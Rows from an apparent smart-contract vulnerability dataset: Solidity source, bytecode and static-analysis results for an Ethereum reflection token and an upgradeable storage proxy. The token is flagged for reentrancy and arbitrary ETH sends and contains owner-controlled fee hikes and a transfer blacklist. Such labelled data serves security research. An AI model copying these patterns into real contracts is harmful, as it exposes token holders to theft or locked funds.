(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610579578063dd62ed3e14610599578063ea1644d5146105df578063f2fde38b146105ff57600080fd5b8063a2a957bb146104f4578063a9059cbb14610514578063bfd7928414610534578063c3c8cd801461056457600080fd5b80638f70ccf7116100d15780638f70ccf71461046e5780638f9a55c01461048e57806395d89b41146104a457806398a5c315146104d457600080fd5b80637d1db4a5146103f85780637f2feddc1461040e5780638203f5fe1461043b5780638da5cb5b1461045057600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038e57806370a08231146103a3578063715018a6146103c357806374010ece146103d857600080fd5b8063313ce5671461031257806349bd5a5e1461032e5780636b9990531461034e5780636d8aa8f81461036e57600080fd5b80631694505e116101b65780631694505e1461027f57806318160ddd146102b757806323b872dd146102dc5780632fd689e3146102fc57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024f57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b36565b61061f565b005b34801561021557600080fd5b5060408051808201909152600b81526a43686f636f626f20496e7560a81b60208201525b6040516102469190611bfb565b60405180910390f35b34801561025b57600080fd5b5061026f61026a366004611c50565b6106be565b6040519015158152602001610246565b34801561028b57600080fd5b5060135461029f906001600160a01b031681565b6040516001600160a01b039091168152602001610246565b3480156102c357600080fd5b50670de0b6b3a76400005b604051908152602001610246565b3480156102e857600080fd5b5061026f6102f7366004611c7c565b6106d5565b34801561030857600080fd5b506102ce60175481565b34801561031e57600080fd5b5060405160098152602001610246565b34801561033a57600080fd5b5060145461029f906001600160a01b031681565b34801561035a57600080fd5b50610207610369366004611cbd565b61073e565b34801561037a57600080fd5b50610207610389366004611cea565b610789565b34801561039a57600080fd5b506102076107d1565b3480156103af57600080fd5b506102ce6103be366004611cbd565b6107fe565b3480156103cf57600080fd5b50610207610820565b3480156103e457600080fd5b506102076103f3366004611d05565b610894565b34801561040457600080fd5b506102ce60155481565b34801561041a57600080fd5b506102ce610429366004611cbd565b60116020526000908152604090205481565b34801561044757600080fd5b506102076108d6565b34801561045c57600080fd5b506000546001600160a01b031661029f565b34801561047a57600080fd5b50610207610489366004611cea565b610a8e565b34801561049a57600080fd5b506102ce60165481565b3480156104b057600080fd5b5060408051808201909152600781526643484f434f424f60c81b6020820152610239565b3480156104e057600080fd5b506102076104ef366004611d05565b610aed565b34801561050057600080fd5b5061020761050f366004611d1e565b610b1c565b34801561052057600080fd5b5061026f61052f366004611c50565b610b76565b34801561054057600080fd5b5061026f61054f366004611cbd565b60106020526000908152604090205460ff1681565b34801561057057600080fd5b50610207610b83565b34801561058557600080fd5b50610207610594366004611d50565b610bb9565b3480156105a557600080fd5b506102ce6105b4366004611dd4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105eb57600080fd5b506102076105fa366004611d05565b610c5a565b34801561060b57600080fd5b5061020761061a366004611cbd565b610c89565b6000546001600160a01b031633146106525760405162461bcd60e51b815260040161064990611e0d565b60405180910390fd5b60005b81518110156106ba5760016010600084848151811061067657610676611e42565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b281611e6e565b915050610655565b5050565b60006106cb338484610d73565b5060015b92915050565b60006106e2848484610e97565b610734843361072f85604051806060016040528060288152602001611f88602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113d3565b610d73565b5060019392505050565b6000546001600160a01b031633146107685760405162461bcd60e51b815260040161064990611e0d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b35760405162461bcd60e51b815260040161064990611e0d565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f157600080fd5b476107fb8161140d565b50565b6001600160a01b0381166000908152600260205260408120546106cf90611447565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161064990611e0d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161064990611e0d565b6611c37937e0800081116108d157600080fd5b601555565b6000546001600160a01b031633146109005760405162461bcd60e51b815260040161064990611e0d565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610965573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109899190611e89565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fa9190611e89565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6b9190611e89565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab85760405162461bcd60e51b815260040161064990611e0d565b601454600160a01b900460ff1615610acf57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b175760405162461bcd60e51b815260040161064990611e0d565b601755565b6000546001600160a01b03163314610b465760405162461bcd60e51b815260040161064990611e0d565b60095482111580610b595750600b548111155b610b6257600080fd5b600893909355600a91909155600955600b55565b60006106cb338484610e97565b6012546001600160a01b0316336001600160a01b031614610ba357600080fd5b6000610bae306107fe565b90506107fb816114cb565b6000546001600160a01b03163314610be35760405162461bcd60e51b815260040161064990611e0d565b60005b82811015610c54578160056000868685818110610c0557610c05611e42565b9050602002016020810190610c1a9190611cbd565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4c81611e6e565b915050610be6565b50505050565b6000546001600160a01b03163314610c845760405162461bcd60e51b815260040161064990611e0d565b601655565b6000546001600160a01b03163314610cb35760405162461bcd60e51b815260040161064990611e0d565b6001600160a01b038116610d185760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610649565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610649565b6001600160a01b038216610e365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610649565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610efb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610649565b6001600160a01b038216610f5d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610649565b60008111610fbf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610649565b6000546001600160a01b03848116911614801590610feb57506000546001600160a01b03838116911614155b156112cc57601454600160a01b900460ff16611084576000546001600160a01b038481169116146110845760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610649565b6015548111156110d65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610649565b6001600160a01b03831660009081526010602052604090205460ff1615801561111857506001600160a01b03821660009081526010602052604090205460ff16155b6111705760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610649565b6014546001600160a01b038381169116146111f55760165481611192846107fe565b61119c9190611ea6565b106111f55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610649565b6000611200306107fe565b6017546015549192508210159082106112195760155491505b8080156112305750601454600160a81b900460ff16155b801561124a57506014546001600160a01b03868116911614155b801561125f5750601454600160b01b900460ff165b801561128457506001600160a01b03851660009081526005602052604090205460ff16155b80156112a957506001600160a01b03841660009081526005602052604090205460ff16155b156112c9576112b7826114cb565b4780156112c7576112c74761140d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130e57506001600160a01b03831660009081526005602052604090205460ff165b8061134057506014546001600160a01b0385811691161480159061134057506014546001600160a01b03848116911614155b1561134d575060006113c7565b6014546001600160a01b03858116911614801561137857506013546001600160a01b03848116911614155b1561138a57600854600c55600954600d555b6014546001600160a01b0384811691161480156113b557506013546001600160a01b03858116911614155b156113c757600a54600c55600b54600d555b610c5484848484611645565b600081848411156113f75760405162461bcd60e51b81526004016106499190611bfb565b5060006114048486611ebe565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ba573d6000803e3d6000fd5b60006006548211156114ae5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610649565b60006114b8611673565b90506114c48382611696565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151357611513611e42565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561156c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115909190611e89565b816001815181106115a3576115a3611e42565b6001600160a01b0392831660209182029290920101526013546115c99130911684610d73565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611602908590600090869030904290600401611ed5565b600060405180830381600087803b15801561161c57600080fd5b505af1158015611630573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611652576116526116d8565b61165d848484611706565b80610c5457610c54600e54600c55600f54600d55565b60008060006116806117fd565b909250905061168f8282611696565b9250505090565b60006114c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061183d565b600c541580156116e85750600d54155b156116ef57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806117188761186b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174a90876118c8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611779908661190a565b6001600160a01b03891660009081526002602052604090205561179b81611969565b6117a584836119b3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117ea91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006118188282611696565b82101561183457505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361185e5760405162461bcd60e51b81526004016106499190611bfb565b5060006114048486611f46565b60008060008060008060008060006118888a600c54600d546119d7565b9250925092506000611898611673565b905060008060006118ab8e878787611a2c565b919e509c509a509598509396509194505050505091939550919395565b60006114c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d3565b6000806119178385611ea6565b9050838110156114c45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610649565b6000611973611673565b905060006119818383611a7c565b3060009081526002602052604090205490915061199e908261190a565b30600090815260026020526040902055505050565b6006546119c090836118c8565b6006556007546119d0908261190a565b6007555050565b60008080806119f160646119eb8989611a7c565b90611696565b90506000611a0460646119eb8a89611a7c565b90506000611a1c82611a168b866118c8565b906118c8565b9992985090965090945050505050565b6000808080611a3b8886611a7c565b90506000611a498887611a7c565b90506000611a578888611a7c565b90506000611a6982611a1686866118c8565b939b939a50919850919650505050505050565b600082611a8b575060006106cf565b6000611a978385611f68565b905082611aa48583611f46565b146114c45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610649565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b8035611b3181611b11565b919050565b60006020808385031215611b4957600080fd5b823567ffffffffffffffff80821115611b6157600080fd5b818501915085601f830112611b7557600080fd5b813581811115611b8757611b87611afb565b8060051b604051601f19603f83011681018181108582111715611bac57611bac611afb565b604052918252848201925083810185019188831115611bca57600080fd5b938501935b82851015611bef57611be085611b26565b84529385019392850192611bcf565b98975050505050505050565b600060208083528351808285015260005b81811015611c2857858101830151858201604001528201611c0c565b81811115611c3a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6357600080fd5b8235611c6e81611b11565b946020939093013593505050565b600080600060608486031215611c9157600080fd5b8335611c9c81611b11565b92506020840135611cac81611b11565b929592945050506040919091013590565b600060208284031215611ccf57600080fd5b81356114c481611b11565b80358015158114611b3157600080fd5b600060208284031215611cfc57600080fd5b6114c482611cda565b600060208284031215611d1757600080fd5b5035919050565b60008060008060808587031215611d3457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6557600080fd5b833567ffffffffffffffff80821115611d7d57600080fd5b818601915086601f830112611d9157600080fd5b813581811115611da057600080fd5b8760208260051b8501011115611db557600080fd5b602092830195509350611dcb9186019050611cda565b90509250925092565b60008060408385031215611de757600080fd5b8235611df281611b11565b91506020830135611e0281611b11565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e8257611e82611e58565b5060010190565b600060208284031215611e9b57600080fd5b81516114c481611b11565b60008219821115611eb957611eb9611e58565b500190565b600082821015611ed057611ed0611e58565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f255784516001600160a01b031683529383019391830191600101611f00565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8257611f82611e58565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ee9ccbb7d454aa60a948e96a17ae1cb2631840bc434016dc9e3065461a10cf4064736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,698
0x3410349f1e02e3beab54b1513fc2c9d2bab6d7ac
pragma solidity 0.4.24; // File: contracts/upgradeability/EternalStorage.sol /** * @title EternalStorage * @dev This contract holds all the necessary state variables to carry out the storage of any contract. */ contract EternalStorage { mapping(bytes32 => uint256) internal uintStorage; mapping(bytes32 => string) internal stringStorage; mapping(bytes32 => address) internal addressStorage; mapping(bytes32 => bytes) internal bytesStorage; mapping(bytes32 => bool) internal boolStorage; mapping(bytes32 => int256) internal intStorage; } // File: contracts/upgradeability/UpgradeabilityOwnerStorage.sol /** * @title UpgradeabilityOwnerStorage * @dev This contract keeps track of the upgradeability owner */ contract UpgradeabilityOwnerStorage { // Owner of the contract address private _upgradeabilityOwner; /** * @dev Tells the address of the owner * @return the address of the owner */ function upgradeabilityOwner() public view returns (address) { return _upgradeabilityOwner; } /** * @dev Sets the address of the owner */ function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal { _upgradeabilityOwner = newUpgradeabilityOwner; } } // File: contracts/upgradeability/Proxy.sol /** * @title Proxy * @dev Gives the possibility to delegate any call to a foreign implementation. */ contract Proxy { /** * @dev Tells the address of the implementation where every call will be delegated. * @return address of the implementation to which it will be delegated */ function implementation() public view returns (address); /** * @dev Fallback function allowing to perform a delegatecall to the given implementation. * This function will return whatever the implementation call returns */ function () payable public { address _impl = implementation(); require(_impl != address(0)); assembly { /* 0x40 is the "free memory slot", meaning a pointer to next slot of empty memory. mload(0x40) loads the data in the free memory slot, so `ptr` is a pointer to the next slot of empty memory. It&#39;s needed because we&#39;re going to write the return data of delegatecall to the free memory slot. */ let ptr := mload(0x40) /* `calldatacopy` is copy calldatasize bytes from calldata First argument is the destination to which data is copied(ptr) Second argument specifies the start position of the copied data. Since calldata is sort of its own unique location in memory, 0 doesn&#39;t refer to 0 in memory or 0 in storage - it just refers to the zeroth byte of calldata. That&#39;s always going to be the zeroth byte of the function selector. Third argument, calldatasize, specifies how much data will be copied. calldata is naturally calldatasize bytes long (same thing as msg.data.length) */ calldatacopy(ptr, 0, calldatasize) /* delegatecall params explained: gas: the amount of gas to provide for the call. `gas` is an Opcode that gives us the amount of gas still available to execution _impl: address of the contract to delegate to ptr: to pass copied data calldatasize: loads the size of `bytes memory data`, same as msg.data.length 0, 0: These are for the `out` and `outsize` params. Because the output could be dynamic, these are set to 0, 0 so the output data will not be written to memory. The output data will be read using `returndatasize` and `returdatacopy` instead. result: This will be 0 if the call fails and 1 if it succeeds */ let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0) /* */ /* ptr current points to the value stored at 0x40, because we assigned it like ptr := mload(0x40). Because we use 0x40 as a free memory pointer, we want to make sure that the next time we want to allocate memory, we aren&#39;t overwriting anything important. So, by adding ptr and returndatasize, we get a memory location beyond the end of the data we will be copying to ptr. We place this in at 0x40, and any reads from 0x40 will now read from free memory */ mstore(0x40, add(ptr, returndatasize)) /* `returndatacopy` is an Opcode that copies the last return data to a slot. `ptr` is the slot it will copy to, 0 means copy from the beginning of the return data, and size is the amount of data to copy. `returndatasize` is an Opcode that gives us the size of the last return data. In this case, that is the size of the data returned from delegatecall */ returndatacopy(ptr, 0, returndatasize) /* if `result` is 0, revert. if `result` is 1, return `size` amount of data from `ptr`. This is the data that was copied to `ptr` from the delegatecall return data */ switch result case 0 { revert(ptr, returndatasize) } default { return(ptr, returndatasize) } } } } // File: contracts/upgradeability/UpgradeabilityStorage.sol /** * @title UpgradeabilityStorage * @dev This contract holds all the necessary state variables to support the upgrade functionality */ contract UpgradeabilityStorage { // Version name of the current implementation uint256 internal _version; // Address of the current implementation address internal _implementation; /** * @dev Tells the version name of the current implementation * @return string representing the name of the current version */ function version() public view returns (uint256) { return _version; } /** * @dev Tells the address of the current implementation * @return address of the current implementation */ function implementation() public view returns (address) { return _implementation; } } // File: contracts/upgradeability/UpgradeabilityProxy.sol /** * @title UpgradeabilityProxy * @dev This contract represents a proxy where the implementation address to which it will delegate can be upgraded */ contract UpgradeabilityProxy is Proxy, UpgradeabilityStorage { /** * @dev This event will be emitted every time the implementation gets upgraded * @param version representing the version name of the upgraded implementation * @param implementation representing the address of the upgraded implementation */ event Upgraded(uint256 version, address indexed implementation); /** * @dev Upgrades the implementation address * @param version representing the version name of the new implementation to be set * @param implementation representing the address of the new implementation to be set */ function _upgradeTo(uint256 version, address implementation) internal { require(_implementation != implementation); require(version > _version); _version = version; _implementation = implementation; emit Upgraded(version, implementation); } } // File: contracts/upgradeability/OwnedUpgradeabilityProxy.sol /** * @title OwnedUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with basic authorization control functionalities */ contract OwnedUpgradeabilityProxy is UpgradeabilityOwnerStorage, UpgradeabilityProxy { /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event ProxyOwnershipTransferred(address previousOwner, address newOwner); /** * @dev the constructor sets the original owner of the contract to the sender account. */ constructor() public { setUpgradeabilityOwner(msg.sender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyProxyOwner() { require(msg.sender == proxyOwner()); _; } /** * @dev Tells the address of the proxy owner * @return the address of the proxy owner */ function proxyOwner() public view returns (address) { return upgradeabilityOwner(); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferProxyOwnership(address newOwner) public onlyProxyOwner { require(newOwner != address(0)); emit ProxyOwnershipTransferred(proxyOwner(), newOwner); setUpgradeabilityOwner(newOwner); } /** * @dev Allows the upgradeability owner to upgrade the current version of the proxy. * @param version representing the version name of the new implementation to be set. * @param implementation representing the address of the new implementation to be set. */ function upgradeTo(uint256 version, address implementation) public onlyProxyOwner { _upgradeTo(version, implementation); } /** * @dev Allows the upgradeability owner to upgrade the current version of the proxy and call the new implementation * to initialize whatever is needed through a low level call. * @param version representing the version name of the new implementation to be set. * @param implementation representing the address of the new implementation to be set. * @param data represents the msg.data to bet sent in the low level call. This parameter may include the function * signature of the implementation to be called with the needed payload */ function upgradeToAndCall(uint256 version, address implementation, bytes data) payable public onlyProxyOwner { upgradeTo(version, implementation); require(address(this).call.value(msg.value)(data)); } } // File: contracts/upgradeability/EternalStorageProxy.sol /** * @title EternalStorageProxy * @dev This proxy holds the storage of the token contract and delegates every call to the current implementation set. * Besides, it allows to upgrade the token&#39;s behaviour towards further implementations, and provides basic * authorization control functionalities */ contract EternalStorageProxy is OwnedUpgradeabilityProxy, EternalStorage {}
0x6080604052600436106100825763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025313a281146100cd5780633ad06d16146100fe57806354fd4d50146101245780635c60da1b1461014b5780636fde820214610160578063a9c45fcb14610175578063f1739cae146101d1575b600061008c6101f2565b9050600160a060020a03811615156100a357600080fd5b60405136600082376000803683855af43d82016040523d6000833e8080156100c9573d83f35b3d83fd5b3480156100d957600080fd5b506100e2610201565b60408051600160a060020a039092168252519081900360200190f35b34801561010a57600080fd5b50610122600435600160a060020a0360243516610210565b005b34801561013057600080fd5b5061013961023a565b60408051918252519081900360200190f35b34801561015757600080fd5b506100e26101f2565b34801561016c57600080fd5b506100e2610240565b604080516020600460443581810135601f81018490048402850184019095528484526101229482359460248035600160a060020a03169536959460649492019190819084018382808284375094975061024f9650505050505050565b3480156101dd57600080fd5b50610122600160a060020a03600435166102fd565b600254600160a060020a031690565b600061020b610240565b905090565b610218610201565b600160a060020a0316331461022c57600080fd5b6102368282610385565b5050565b60015490565b600054600160a060020a031690565b610257610201565b600160a060020a0316331461026b57600080fd5b6102758383610210565b30600160a060020a0316348260405180828051906020019080838360005b838110156102ab578181015183820152602001610293565b50505050905090810190601f1680156102d85780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af19250505015156102f857600080fd5b505050565b610305610201565b600160a060020a0316331461031957600080fd5b600160a060020a038116151561032e57600080fd5b7f5a3e66efaa1e445ebd894728a69d6959842ea1e97bd79b892797106e270efcd9610357610201565b60408051600160a060020a03928316815291841660208301528051918290030190a161038281610416565b50565b600254600160a060020a03828116911614156103a057600080fd5b60015482116103ae57600080fd5b600182905560028054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911681179091556040805184815290517f4289d6195cf3c2d2174adf98d0e19d4d2d08887995b99cb7b100e7ffe795820e9181900360200190a25050565b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058200c3c8dbcf8c2f462f2b3dadf467c06e5f06a01d1f51a1a59deb76e2cf3644f2d0029
{"success": true, "error": null, "results": {}}
5,699